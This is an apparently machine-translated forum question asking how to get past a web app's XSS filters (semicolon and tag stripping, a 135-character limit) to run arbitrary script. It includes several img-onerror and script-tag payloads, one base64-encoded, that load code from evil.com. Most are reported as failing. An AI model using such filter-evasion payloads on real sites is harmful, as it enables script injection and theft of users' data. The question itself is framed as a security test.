我发现了一个容易受到 XSS 攻击的 Web 应用程序,并且可以使用img
标记运行一些 javascript,但是我使用的方法会破坏页面的其余部分,因为他们正在使用一些过滤器来尝试阻止它。
到目前为止我检测到的过滤器如下:
</anythingyouwant>
被什么都取代/>
被什么都取代;
被替换为空格,直到下一个>
- 135 个字符限制,包括交货方式
<img src="." onerror="alert('xss')">
注入<img src="." onerror="alert('xss')">
工作正常,但是这些开发人员相当怀疑并希望看到完整的 JavaScript 代码的完整 PoC。是否可以运行任意脚本?
我试过了:
<img src="." onerror="eval(atob('Yj1kb2N1bWVudDthPWIuY3JlYXRlRWxlbWVudCgnc2NyaXB0Jyk7YS5zcmM9Jy8vZXZpbC5jb20vbXlzY3JpcHQnO2IuYm9keS5hcHBlbmRDaGlsZChhKQ=='))">
结果:太长,即使是缩短的 URL<script src="//evil.com/myscript" />
结果:不能像那样关闭脚本标签,它会被过滤,并通过网络应用程序省略“关闭”标签来破坏页面的其余部分<script src=//evil.com/myscript"></script>
结果:被过滤,如上所述破坏页面的其余部分<img src="." onerror="b=document;a=b.createElement('script');a.src='//evil.com/myscript';b.body.appendChild(a)">
结果:分号被过滤,破坏网页<img src="." onerror="b=document a=b.createElement('script') a.src='//evil.com/myscript' b.body.appendChild(a)">
结果:我不确定这是否是有效的 js,但它按预期出现在 chromeview page source
中,但不能按预期工作
我正在使用 chrome 进行测试,以防万一它以某种方式相关。